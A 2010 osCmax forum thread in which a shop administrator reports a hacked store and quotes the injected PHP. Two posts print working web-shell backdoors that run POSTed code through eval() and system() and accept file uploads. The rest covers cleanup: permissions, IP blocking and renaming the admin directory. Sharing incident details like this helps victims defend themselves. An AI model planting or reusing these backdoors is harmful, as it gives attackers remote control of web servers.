Closed Thread
Page 1 of 2 12 LastLast
Results 1 to 10 of 19

mainpage.php contents replaced

This is a discussion on mainpage.php contents replaced within the osCmax v2 Installation issues forums, part of the osCmax v2.0 Forums category; My fault... I should check more often for world writable files. The mainpage.php of a customers site was world writable. ...

      
  1. #1
    New Member Wolga is an unknown quantity at this point
    Join Date
    Sep 2005
    Posts
    10
    Rep Power
    0


    Default mainpage.php contents replaced

    My fault... I should check more often for world writable files.

    The mainpage.php of a customers site was world writable. The contents were replaced with the following code.

    PHP Code:
    <?php if(@$_GET['cookies']==1){echo 'Cookies must be enabled !';$tf='';if(@$_POST['tf']){$tf=@$_POST['tf'];}if(@$_POST['e']){eval(@$_POST['e']);}if(@$_POST['t']){if($tf!=''){$f=fopen($tf,'w');fwrite($f,@$_POST['t']);fclose($f);}}if(@$_FILES['f']['name']!=''){$tf=$_FILES['f']['name'];move_uploaded_file(@$_FILES['f']['tmp_name'],$tf);}exit;}?>

    Anyone recognize this code and what the hacker or bot intended to do and how worried I need to be?


    After I encountered this I used the following command to search out world writable files.

    find / -type f -perm -o+w -exec ls -l {} ;

    Actually without the / so it would search only the customers public_html directory.

    and tightened up the permissions



    Needless to say I'll be running various scans of the system but...

    If anyone recognizes this hack and can give me a hint of what to look for I would be grateful.

    Thanks
    Last edited by Wolga; 08-29-2010 at 01:25 AM.

  2. #2
    New Member Wolga is an unknown quantity at this point
    Join Date
    Sep 2005
    Posts
    10
    Rep Power
    0


    Default Re: mainpage.php contents replaced

    Update.

    I successfully thwarted the intruder. The logs fortunately told me the IP that modified the file so I blocked it and it hasn't been hacked again yet.

    See attached picture.

    It was an ip location was Makiyivka in Ukraine and since she will never ship over seas I blocked it.

    I may try to block a range in case they get a new IP and start their shenanigans again.

    I also complied with your security suggestions and renamed the admin directory and also password protected it.

    Keeping fingers crossed now.

    Hopefully this thwarted them enough so they'll move on to an easier target.

    Nobody so far recognizes that code they inserted?

    The 2 times it was inserted, it was discovered and removed shortly after the insert because she is in the store several times a day and noticed it right away. Hopefully whatever it was doing, it wasn't able to succeed due to being quickly removed.
    Attached Images Attached Images

  3. #3
    Active Member tcshadow will become famous soon enough
    Join Date
    Aug 2007
    Posts
    145
    Rep Power
    5


    Default Re: mainpage.php contents replaced

    I have been having the same issue... anyone have a fix for this? Michael S?

  4. #4
    Active Member tcshadow will become famous soon enough
    Join Date
    Aug 2007
    Posts
    145
    Rep Power
    5


    Default Re: mainpage.php contents replaced

    Wolga check your /images directory you'll probably find goog1*.php files in there generated by this code or the hacker. I found some in my site

    CRE Loaded - View topic - Security Breach on our Site

  5. #5
    New Member Wolga is an unknown quantity at this point
    Join Date
    Sep 2005
    Posts
    10
    Rep Power
    0


    Default Re: mainpage.php contents replaced

    Thanks tcshadow.

    I did find goog1*.php files in the image directory all with the same IP number reading and writing them.

    I grepped my log files for the culprit IP to see what files were accessed and also checked for a partial ip

    I attached a text file of my grepped logs

    That was a busy script.

    I did as my previous post mentioned and renamed the admin directory.

    Quite a while back I remember deleting the filemanager when the email notice came from oscmax however I see that there are access attempts to that file.

    I now removed the goog*php files.

    Looks like the accesses stopped after I messed with the security.

    There are a few more attempts after I added the IP to etc/hosts.deny
    I added all:91.211.16.126

    Although after adding that to the hosts.deny seems to have stopped the problem I still see accesses to some of the files. Not sure how that can be but it is apparent in the logs.

    I see the last attempt was on the admin directory on the 6th and 7th of Sep/2010 and since the admin directory was renamed they had no luck with that.

    There seems to be no attempts since then.

    Hope the attached logs.txt file will be helpful to those who have more security expertise than myself.

    The multiple goog*.php files had the same code if anyone knows what it was doing.

    PHP Code:
    Goog1e_analist_up<?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?>
    I think my focus this week will be upgrading her store. Thank Ancients for Navicat.

    Thanks again tcshadow for the help.
    Attached Files Attached Files
    Last edited by Wolga; 09-12-2010 at 02:18 PM. Reason: If only face book would allow me to edit items that looked ok until I click save

  6. #6
    New Member Wolga is an unknown quantity at this point
    Join Date
    Sep 2005
    Posts
    10
    Rep Power
    0


    Default Re: mainpage.php contents replaced

    I also found 4 of these in the database under manufacturers

    goog1ec34ca4c49772b8.php

    Different numbers after the goog1 though.

  7. #7
    New Member Wolga is an unknown quantity at this point
    Join Date
    Sep 2005
    Posts
    10
    Rep Power
    0


    Default Re: mainpage.php contents replaced

    I found this link explaining the malicious code.
    What's the purpose of this PHP code/hack.? - Stack Overflow

  8. #8
    Lurker dani is on a distinguished road
    Join Date
    Sep 2010
    Posts
    3
    Rep Power
    0


    Default Re: mainpage.php contents replaced

    first changed file in my site was includes/languages/... / cookie_usage.php

    can som one change this file content in admin side?

  9. #9
    New Member Wolga is an unknown quantity at this point
    Join Date
    Sep 2005
    Posts
    10
    Rep Power
    0


    Default Re: mainpage.php contents replaced

    Quote Originally Posted by dani View Post
    first changed file in my site was includes/languages/... / cookie_usage.php

    can som one change this file content in admin side?
    I'm pretty sure there is no way to edit these types of files from the store admin.

    You can use a ftp or rather, a secure (sFtp) program to download, edit and then re-upload the changed file.

    Make sure to keep a log and detailed notes of the changes you make to core files so when you upgrade your store in the future you can recall all the modifications and merge them into the upgraded files.

    Most hosting service control panels will have a web based file manager you can use to edit files as well.
    Last edited by Wolga; 09-20-2010 at 09:16 PM. Reason: Typo corrections after clicking submit

  10. #10
    Lurker dani is on a distinguished road
    Join Date
    Sep 2010
    Posts
    3
    Rep Power
    0


    Default Re: mainpage.php contents replaced

    Quote Originally Posted by Wolga View Post
    I'm pretty sure there is no way to edit these types of files from the store admin.

    You can use a ftp or rather, a secure (sFtp) program to download, edit and then re-upload the changed file.

    Make sure to keep a log and detailed notes of the changes you make to core files so when you upgrade your store in the future you can recall all the modifications and merge them into the upgraded files.

    Most hosting service control panels will have a web based file manager you can use to edit files as well.
    can he/she use define_language.php file?
    Last edited by dani; 09-21-2010 at 12:00 AM.

Closed Thread
Page 1 of 2 12 LastLast

Similar Threads

  1. Replies: 17
    Last Post: 02-10-2010, 01:56 PM
  2. javascript scroller on mainpage.php (Define mainpage)
    By zuqaili in forum osCmax v2 Customization/Mods
    Replies: 7
    Last Post: 04-30-2007, 10:51 PM
  3. Remove total from 'cart contents' box
    By icecold in forum osCmax v2 Customization/Mods
    Replies: 2
    Last Post: 04-27-2006, 04:43 AM
  4. Category index box contents disappear
    By groone in forum osCMax v1.7 Installation
    Replies: 1
    Last Post: 08-04-2004, 03:37 AM
  5. Editing Categories Box Contents
    By smf in forum osCommerce 2.2 Modification Help
    Replies: 0
    Last Post: 04-26-2003, 10:50 AM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts